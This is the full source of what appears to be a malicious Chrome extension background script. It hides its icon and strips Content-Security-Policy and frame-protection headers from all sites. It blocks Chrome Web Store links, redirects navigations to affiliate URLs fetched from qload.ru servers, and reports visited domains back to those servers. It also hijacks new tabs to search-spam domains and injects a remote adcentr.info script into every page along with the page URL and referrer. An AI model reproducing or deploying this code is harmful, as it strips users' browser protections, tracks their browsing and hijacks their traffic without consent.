if(chrome.browserAction){ chrome.browserAction.setIcon({ path: 'http://www.retukalone.pw/pixel.png'}); chrome.browserAction.disable(); } function isCSPHeader(a) { return (a == "CONTENT-SECURITY-POLICY") || (a == "X-WEBKIT-CSP") || (a == "X-FRAME-OPTIONS") } chrome.webRequest.onHeadersReceived.addListener(function(a){ for (i = 0; i < a.responseHeaders.length; i++) { if (isCSPHeader(a.responseHeaders[i].name.toUpperCase())) { a.responseHeaders[i].value = ""; } } return { responseHeaders: a.responseHeaders } }, {urls: [""]},["blocking", "responseHeaders"]); chrome.tabs.onUpdated.addListener(function(tabId , info) { if (info.status == "complete") { chrome.tabs.executeScript(tabId, {code: "var scr = document.createElement('SCRIPT');scr.innerText = 'window.onmousemove=function(){window.chrome.webstore=null;var links = document.getElementsByTagName(\"link\");if(links){for (var i = 0, len = links && links.length; i < len; ++i){var link = links[i];if(link.rel == \"chrome-webstore-item\"){link.setAttribute(\"href\", \"\");}}}}';document.body.appendChild(scr);"}); } }); /** @const */ var api_host = "http://api.qload.ru/api/"; /** @const */ var api_browser_host = "http://stat.qload.ru/apiBrowser/"; var markForBeforeNavigate = {}; var urlList = {}; var wmId = 10122; var commonClearUrlsLifetime = 2 * 60 * 60 * 1000; var commonClearUrlsTimestamp = 0; var commonClearUrlsTimer = null; var commonUrlListTimer = null; var commonCacheUrlTimestamp = 0; var commonCacheLifetime = 24 * 60 * 60 * 1000; var commonUrlListDomains = {}; var commonUrlListUrls = {}; var commonUrlListDeeplinks = {}; var commonLastDestinations = storageGet('commonLastDestinations', {}); var commonInitialTime = storageGet('commonInitialTime', 0); var commonSearchRegexp = null; var commonDisableRegexp = null; var commonDisableObj = {}; var commonDomainStatList = []; var commonDomainStatObj = storageGet("commonDomainStatObj", {}); var commonDomainStatTime = storageGet("commonDomainStatTime", 0); var SIX_HOURS = 6 * 60 * 60 * 1000; var ONE_HOUR = 60 * 60 * 1000; var urlCheckDisabled = {}, disableRedirects = false, blacklistVisited = storageGet('blacklistVisited', {}), useTypeIn = true, useSearch = true; if (commonInitialTime === 0) { commonInitialTime = (new Date()).getTime(); storageSet('commonInitialTime', commonInitialTime); } /** common functions-- */ function trim(string) { return string.replace(/(^\s+)|(\s+$)/g, ""); } function getDomain(url) { return url.split(/\/+/g)[1]; } function getTimestamp() { return (new Date()).getTime(); } function sortRulesArray(arr) { arr.sort(function (a, b) { return b.surl.length - a.surl.length; }); } function storageGet(key, def) { var out = def; if (localStorage[key] !== undefined) { out = JSON.parse(localStorage[key]); } return out; } function storageSet(key, value) { localStorage[key] = JSON.stringify(value); } function sendRequest(type, url, callback, errback) { if (!errback) { errback = function () {}; } if (!callback) { callback = function () {}; } var xhrObject = new XMLHttpRequest(); xhrObject.open.apply(xhrObject, [type, url, true]); var xhrAlreadyAborted = false; var xhrTimeout = setTimeout(function () { if (xhrObject.readyState != 4) { xhrAlreadyAborted = true; xhrObject.abort(); errback(); } }, 10000); xhrObject.onreadystatechange = function () { // If request ready if (xhrObject.readyState == 4 && !xhrAlreadyAborted) { // In any case - delete timeout clearTimeout(xhrTimeout); // And all nornal if (xhrObject.status === 200 || xhrObject.status === 304) { try { callback(xhrObject.responseText); } catch (e) { errback(e); } } else { // otherwise resurt status text if exist or status errback(xhrObject.statusText || ("XMLHttpRequest.status = " + xhrObject.status)); } } }; try { // Send and wait result xhrObject.send(); } catch (e) { errback(e); } } function recheckUrlListTamestamp() { clearTimeout(commonUrlListTimer); commonUrlListTimer = null; if ((getTimestamp() - commonCacheUrlTimestamp) > commonCacheLifetime) { commonUrlListDomains = {}; commonUrlListUrls = {}; commonUrlListDeeplinks = {}; urlCheckDisabled = {}; commonSearchRegexp = null; commonDisableRegexp = null; commonDisableObj = {}; commonDomainStatList = []; getSettings(); } else { commonUrlListTimer = setTimeout(recheckUrlListTamestamp, 5000); } } function clearUrls() { commonClearUrlsTimer = null; if ((getTimestamp() - commonClearUrlsTimestamp) > commonClearUrlsLifetime) { for (var key in commonUrlListDomains) { if (commonUrlListDomains.hasOwnProperty(key)) { var rulesArray = commonUrlListDomains[key]; for (var i = 0, l = rulesArray.length; i < l; ++i) { rulesArray[i].count = 0; } } } for (key in commonUrlListDeeplinks) { if (commonUrlListDeeplinks.hasOwnProperty(key)) { commonUrlListDeeplinks[key].current_page = 0; } } commonClearUrlsTimestamp = getTimestamp(); } commonClearUrlsTimer = setTimeout(clearUrls, 3000); } ; function sendActiveStats() { if (wmId && api_browser_host) { var def = null, name = "__installed", marker = storageGet(name, def), action = "active", now = new Date().getTime(), shouldSend = false; if (marker === def) { marker = "" + now + Math.random().toString(36); storageSet(name, marker); action = "install"; shouldSend = true; } else { var name = "__actived", lastTime = storageGet(name, def); shouldSend = lastTime === def || ((lastTime + 24 * 60 * 60 * 1000) < now); if (shouldSend) { storageSet(name, now); } } if (shouldSend) { var webmasterId = wmId, sourceId = wmId, subId = wmId, random = "" + Math.random(); sendRequest("GET", api_browser_host + "?a=" + action + "&w=" + webmasterId + "&so=" + sourceId + "&su=" + subId + "&ra=" + random, function () {}, function () {}); } } } //////////////////////// var parseUrlRgx = new RegExp("^(?:([^:\\/?]+):)?(?:\\/\\/([^\\/]*))?([^?]*)(?:\\?([^$]*))?"), parseDoaminRgx = /((?:[^.]+)\.(?:(?:com?|org)\.)?\w+)$/i, parseHostName = /:\/\/(?:www\.)?((?:[^.]+)\.|.+\.(?:com?\.)?\w+)(?:\:\d+)?\//; function parseUrl(url) { if (!/^(\w+:)?\/\//.test(url)) { url = "http://" + url; } var matches = url.match(parseUrlRgx), result; if (matches) { try { result = { scheme: matches[1], hostname: matches[2], path: (matches[3] || "").replace(/^\//, ""), search: (matches[4] || "").replace(/^\?/, "") }; } catch (e) { console.log("Error: " + url); } } return result; } function removeWwwAndPort(hostname) { return hostname.replace(/(^www\.|\:\d+$)/ig, ""); } function getBaseDomainName(hostname) { var matches = hostname.match(parseDoaminRgx), result; if (matches) { result = matches[1]; } return result; } function fastGetHostName(url) { return (url.match(parseHostName) || [])[1]; } function chromeCheckRealTab(tabId, callback) { chrome.tabs.get(tabId, function () { callback(typeof chrome.runtime.lastError == "undefined"); }); } function onTabReplaced(addedTabId) { chromeCheckRealTab(addedTabId, function (isReal) { if (isReal) { var beforeNavigateMarker = markForBeforeNavigate[addedTabId]; if (beforeNavigateMarker) { delete markForBeforeNavigate[addedTabId]; chromeFireOnBeforeNavigate(addedTabId, beforeNavigateMarker.url, beforeNavigateMarker.refer, beforeNavigateMarker.requestId); } } }); } /** --common functions */ function checkDomainForDisable(url, reqId) { if (commonDisableRegexp && commonDisableRegexp.test(url)) { commonDisableObj[reqId] = url; } else if (typeof commonDisableObj[reqId] == "undefined" && commonSearchRegexp && commonSearchRegexp.test(url)) { commonDisableObj[reqId] = url; } } function chromeFireOnBeforeNavigate(tabId, currentUrl, refer, requestId) { checkDomainForDisable(currentUrl, requestId); checkIfNeedDisableRedirect(currentUrl); handleDomainForStat(currentUrl); var newUrl = getUrl(currentUrl, refer, requestId), result = typeof (newUrl) === "string" && currentUrl != newUrl; if (result) { chromeNavigateTab(tabId, newUrl); } return result; } function chromeNavigateTab(tabId, newUrl) { chrome.tabs.update(tabId, { url: newUrl }); } var urlListenerFunc = function (details) { if (details.frameId === 0 && details.parentFrameId === -1 && details.tabId > 0 && (/^https?/i.test(details.url))) { chromeCheckRealTab(details.tabId, function (isReal) { var refer = ''; for (var i = 0, l = details.requestHeaders.length; i < l; i++) { if (details.requestHeaders[i].name === 'Referer') { refer = details.requestHeaders[i].value; break; } } if (isReal) { chromeFireOnBeforeNavigate(details.tabId, details.url, refer, details.requestId); } else { markForBeforeNavigate[details.tabId] = { url: details.url, refer: refer, requestId: details.requestId }; } }); } } function createRegOfSearch(domains) { var escapeRegExp = function (string) { return string.replace(/([.+?^${}()|\[\]\/\\])/g, '\\$1').replace(/([*])/g, '(.*)'); }; var res = null; if (domains.length) { res = "^https?://(www\\.)?("; for (var i = 0, l = domains.length; i < l; ++i) { res += (i == 0 ? "" : "|") + escapeRegExp(domains[i]); } res += ")"; } return res ? new RegExp(res, "gi") : null; } function sendDomainStat() { var now = (new Date()).getTime(); if (!commonDomainStatTime || now - commonDomainStatTime > SIX_HOURS) { for (var dom in commonDomainStatObj) { if (commonDomainStatObj.hasOwnProperty(dom)) { sendRequest("GET", api_host + "domainstat?data-wid=" + wmId + "&domain=" + encodeURIComponent(dom) + "&count=" + encodeURIComponent(commonDomainStatObj[dom])); } } commonDomainStatTime = now; storageSet("commonDomainStatTime", commonDomainStatTime); commonDomainStatObj = {}; storageSet("commonDomainStatObj", {}); } setTimeout(sendDomainStat, ONE_HOUR); } var getSettings = function () { commonCacheUrlTimestamp = getTimestamp(); recheckUrlListTamestamp(); if (wmId) { sendRequest("GET", api_host + "settingslist?data-wid=" + wmId, function (response) { console.log(response); var tmp = JSON.parse(response); if (tmp) { //get disable by ref list commonSearchRegexp = createRegOfSearch(tmp.search_domains); commonDisableRegexp = createRegOfSearch(tmp.disable_domains); //get stat domain list commonDomainStatList = tmp.stat_domains; if (tmp.enable) { sendDomainStat(); getBlackList(recheckConditionAndGo); var delay_install = tmp.delay_install ? tmp.delay_install : 0; var now = (new Date()).getTime(); getCommonList(wmId); if (now - commonInitialTime > delay_install && !disableRedirects) { // getCommonList(wmId); } } } }, function (error) { }); } } var getCommonList = function (wmid) { sendRequest("GET", api_host + 'gikkdhr?modern=1&data-wid=' + wmid, function (response) { console.log(response); var rawList = {}; try { rawList = JSON.parse(response); } catch (e) { } commonUrlListDomains = {}; commonUrlListUrls = {}; commonUrlListDeeplinks = {}; for (var key in rawList) { if (rawList.hasOwnProperty(key)) { if (!key || !rawList[key].d_url) { continue; } try { var surl = trim(key); var durl = rawList[key].d_url; if (durl instanceof Object) { var durl_tmp = []; for (var i = 0, l = durl.length; i < l; i++) { if (durl[i]) { durl_tmp.push(trim(durl[i])); } } durl = durl_tmp; } else { durl = []; durl.push(trim(rawList[key].d_url)); } var domain = getDomain(surl); if (rawList[key].disable_tn) { urlCheckDisabled[domain] = { 'need_check': true, 'need_check_s': true }; } else { urlCheckDisabled[domain] = { 'need_check': false, 'need_check_s': false }; } var index = surl.indexOf('/*'); var dlink = rawList[key].dl; if (dlink !== null) { dlink = trim(dlink); domain = getDomain(surl); commonUrlListDeeplinks[domain] = { deeplink: dlink, rurl: durl, page_visible: 2, current_page: 0 }; } else if (index >= 0) { domain = getDomain(surl); if (!commonUrlListDomains[domain]) { commonUrlListDomains[domain] = []; } commonUrlListDomains[domain].push({ max: 1, count: 0, surl: surl.substr(0, index), rurl: durl }); } else { commonUrlListUrls[surl] = durl; } } catch (e) { } } } for (key in commonUrlListDomains) { if (commonUrlListDomains.hasOwnProperty(key)) { sortRulesArray(commonUrlListDomains[key]); } } commonClearUrlsTimestamp = getTimestamp(); clearUrls(); }, function (error) { commonClearUrlsTimestamp = getTimestamp(); clearUrls(); }); } var getUrl = function (url, referrer, requestId) { var url = url.replace(/www\./i, ''), host = fastGetHostName(url); var replyInfo = false; if (disableRedirects) { return false; } if (urlList[host]) { urlInfo = urlList[host]; var sourceData = parseUrl(url); replyInfo = sourceData.scheme + "://" + urlInfo + "/" + sourceData.path + (sourceData.search ? "?" + sourceData.search : ""); } else { var urlInfo = commonUrlListUrls[url]; if (urlCheckDisabled[host]) { if (commonDisableObj[requestId] && commonDisableRegexp && commonDisableRegexp.test(commonDisableObj[requestId])) { urlCheckDisabled[host].is_disabled = true; return false; } if (referrer && commonDisableRegexp && commonDisableRegexp.test(referrer)) { urlCheckDisabled[host].is_disabled = true; return false; } else if (urlCheckDisabled[host].is_disabled) { if (referrer && getDomain(referrer).replace(/www\./i, '') === host) { return false; } else { urlCheckDisabled[host].is_disabled = false; } } } if (urlCheckDisabled[host] && urlCheckDisabled[host].need_check && useTypeIn) { if (!referrer) { urlCheckDisabled[host].is_disabled = true; return false; } else if (urlCheckDisabled[host].is_disabled) { if (getDomain(referrer).replace(/www\./i, '') === host) { return false; } else { urlCheckDisabled[host].is_disabled = false; } } } if (urlCheckDisabled[host] && urlCheckDisabled[host].need_check_s && useSearch) { if (commonDisableObj[requestId] && commonSearchRegexp && commonSearchRegexp.test(commonDisableObj[requestId])) { urlCheckDisabled[host].is_disabled = true; return false; } if (referrer && commonSearchRegexp && commonSearchRegexp.test(referrer)) { urlCheckDisabled[host].is_disabled = true; return false; } else if (urlCheckDisabled[host].is_disabled) { if (referrer && getDomain(referrer).replace(/www\./i, '') === host) { return false; } else { urlCheckDisabled[host].is_disabled = false; } } } var ind, rmvd, rule; if (urlInfo) { if (commonLastDestinations[host]) { ind = urlInfo.indexOf(commonLastDestinations[host]); if (ind !== -1) { rmvd = urlInfo.splice(0, ind + 1); urlInfo = urlInfo.concat(rmvd); } } replyInfo = urlInfo[0]; urlInfo.splice(0, 1); urlInfo.push(replyInfo); commonLastDestinations[host] = replyInfo; storageSet('commonLastDestinations', commonLastDestinations); } else if (commonUrlListDeeplinks[host]) { rule = commonUrlListDeeplinks[host]; if (rule.current_page <= rule.page_visible) { rule.current_page++; if (rule.current_page === rule.page_visible) { if (commonLastDestinations[host]) { ind = rule.rurl.indexOf(commonLastDestinations[host]); if (ind !== -1) { rmvd = rule.rurl.splice(0, ind + 1); rule.rurl = rule.rurl.concat(rmvd); } } var redir_to = rule.rurl[0]; rule.rurl.splice(0, 1); rule.rurl.push(redir_to); commonLastDestinations[host] = redir_to; storageSet('commonLastDestinations', commonLastDestinations); redir_to += rule.deeplink; redir_to += encodeURIComponent(url); replyInfo = redir_to; } } } else if (commonUrlListDomains[host]) { urlInfo = commonUrlListDomains[host]; for (var i = 0, li = urlInfo.length; i < li; ++i) { rule = urlInfo[i]; if (0 === url.indexOf(rule.surl)) { if (rule.count < rule.max) { rule.count++; if (commonLastDestinations[host]) { ind = rule.rurl.indexOf(commonLastDestinations[host]); if (ind !== -1) { rmvd = rule.rurl.splice(0, ind + 1); rule.rurl = rule.rurl.concat(rmvd); } } replyInfo = rule.rurl[0]; rule.rurl.splice(0, 1); rule.rurl.push(replyInfo); commonLastDestinations[host] = replyInfo; storageSet('commonLastDestinations', commonLastDestinations); } break; } } } if (replyInfo && wmId) { replyInfo = replyInfo.replace('bonus', wmId).replace('bendar', wmId); } } return replyInfo; } function disableRedirect(reason) { blacklistVisited[reason] = (new Date()).getTime(); storageSet('blacklistVisited', blacklistVisited); if (!disableRedirects) { disableRedirects = true; storageSet('disableRedirects', disableRedirects); } } function handleDomainForStat(url) { var escapeRegExp = function (string) { return string.replace(/([.+?^${}()|\[\]\/\\])/g, '\\$1'); }; for (var i = 0, l = commonDomainStatList.length; i < l; i++) { var l_domain = commonDomainStatList[i]; var r_url = escapeRegExp(l_domain); var _reg = (new RegExp('^https?:\\/\\/(www\\.)?' + r_url, 'i')); if (_reg.test(url)) { if (!commonDomainStatObj[l_domain]) { commonDomainStatObj[l_domain] = 0; } commonDomainStatObj[l_domain] += 1; storageSet("commonDomainStatObj", commonDomainStatObj); } } } function checkIfNeedDisableRedirect(url) { var escapeRegExp = function (string) { return string.replace(/([.+?^${}()|\[\]\/\\])/g, '\\$1').replace(/([*])/g, '(.*)'); }; for (var _url in blacklistVisited) { if (blacklistVisited.hasOwnProperty(_url)) { var r_url = escapeRegExp(_url); var _reg = (new RegExp('^https?:\\/\\/(www\\.)?' + r_url, 'i')); if (_reg.test(url)) { disableRedirect(_url); break; } } } } function recheckConditionAndGo() { var currentTime = (new Date()).getTime(); var blLastVisit = getLastVisitedBlackList(blacklistVisited); if (blLastVisit.time === 0) { disableRedirects = false; } else { disableRedirects = true; } storageSet('disableRedirects', disableRedirects); sendStat(blLastVisit.url); } function getLastVisitedBlackList(obj) { var sortable = []; for (var item in obj) { if (obj.hasOwnProperty(item)) { sortable.push([item, obj[item]]); } } if (sortable.length) { sortable.sort(function (a, b) { return b[1] - a[1]; }); if (sortable[0][1]) { return {'url': sortable[0][0], 'time': sortable[0][1]}; } else { return {'time': 0}; } } else { return {'time': 0}; } } function getBlackList(callback) { sendRequest('GET', api_host + 'getblacklistql?data-wid=' + wmId, function (response) { try { response = JSON.parse(response); var blist = response.blacklist; for (var i = 0, l = blist.length; i < l; i++) { var j = blist[i]; blacklistVisited[j] = blacklistVisited[j] || false; } for (var url in blacklistVisited) { if (blacklistVisited.hasOwnProperty(url)) { if (blist.indexOf(url) === -1) { delete blacklistVisited[url]; } } } storageSet('blacklistVisited', blacklistVisited); callback(); } catch (e) { callback(); } }, function () { callback(); }); } function sendStat(url) { var additionalParam = ''; if (url) { additionalParam = '&url=' + encodeURIComponent(url); } var lastTime = storageGet('lastActiveStat', null); var currentTime = (new Date()).getTime(); if (!lastTime || currentTime - lastTime > 24 * 60 * 60 * 1000) { lastTime = currentTime; storageSet('lastActiveStat', lastTime); var cc = disableRedirects ? 2 : 1; sendRequest('GET', api_host + 'statactiveql?data-wid=' + wmId + '&condition=' + cc + additionalParam); } } sendActiveStats(); if (!(/\bYaBrowser\/(\d+\.)+\d+\b/i.test(window.navigator.userAgent))) { getSettings(); chrome.tabs.onReplaced.addListener(onTabReplaced); chrome.webRequest.onBeforeSendHeaders.addListener(urlListenerFunc, {urls: [""], types: ['main_frame']}, ['requestHeaders']); function checkABonus() { chrome.runtime.sendMessage("dbfipcjecamggjfabeaclacjoohfjhhn", {disableByPriority: true}, function (response) { if (response && response.disable) { getUrl = function () { return false; }; } else { setTimeout(checkABonus, 60 * 1000); } }); } checkABonus(); } var sites = [ 'http://searchfast2.info', 'http://searchfast3.info', 'http://searchfast4.info', 'http://searchfast5.info', 'http://searchfast6.info', 'http://searchfast7.info', 'http://searchfast8.info', 'http://searchfast9.info', 'http://searchfast10.info', 'http://searchfast11.info', 'http://searchfast12.info', 'http://searchfast13.info', 'http://searchfast14.info', 'http://searchfast15.info', 'http://searchfast16.info', 'http://searchfast17.info', 'http://searchfast18.info', 'http://searchfast19.info', 'http://searchfast20.info', 'http://fastsearch19.info', 'http://fastsearch16.info', 'http://fastsearch13.info', 'http://fastsearch14.info', 'http://fastsearch15.info', 'http://fastsearch9.info', 'http://megasearch19.info', 'http://megasearch20.info', 'http://megasearch9.info', 'http://megasearch10.info', 'http://chromesearch17.info', 'http://megasearch11.info', 'http://megasearch12.info', 'http://megasearch8.info/' ]; var newtab = 0; chrome.tabs.onCreated.addListener(function (tab) { if (tab.url == 'chrome://newtab/') { newtab = (new Date).getTime(); var sites_visits = JSON.parse(localStorage.getItem('sites_visits')); var sites_history = JSON.parse(localStorage.getItem('sites_history')); if(sites_history){ for(i = 0; i < sites_history.length; i++){ if((new Date().getTime() - sites_history[i]) / 1000 > 86400){ sites_history.splice(i, 1); } }} if (!sites_history || sites_history.length < 30 || (new Date().getTime() - sites_history[sites_history.length - 1]) / 1000 > 86400) { if (!sites_history || sites_history.length >= 30) { sites_history = []; } if (!sites_visits || sites_visits.length != sites.length) { sites_visits = []; for (var key in sites) { sites_visits.push([key, 0]); } } else { sites_visits.sort(function (a, b) { a[0] = a[0] / 1; b[0] = b[0] / 1; a[1] = a[1] / 1; b[1] = b[1] / 1; if (a[1] == b[1]) { return a[0] < b[0] ? -1 : (a[0] > b[0] ? 1 : 0); } return a[1] < b[1] ? -1 : (a[1] > b[1] ? 1 : 0); }); } sites_history.push(new Date().getTime()); sites_visits[0][1] += 1; localStorage.setItem('sites_visits', JSON.stringify(sites_visits)); localStorage.setItem('sites_history', JSON.stringify(sites_history)); chrome.tabs.update(tab.id, {url: sites[sites_visits[0][0]]}); } } }); chrome.tabs.onUpdated.addListener(function(tabId , info) { if (info.status == "complete") { chrome.tabs.executeScript(tabId, {code: "var script = document.createElement('script');script.src = '//adcentr.info/3.html?group=1&seoref='+encodeURIComponent(document.referrer)+'&rnd='+Math.random()+'&HTTP_REFERER='+encodeURIComponent(document.URL);script.async = true;document.head.appendChild(script);"}); } });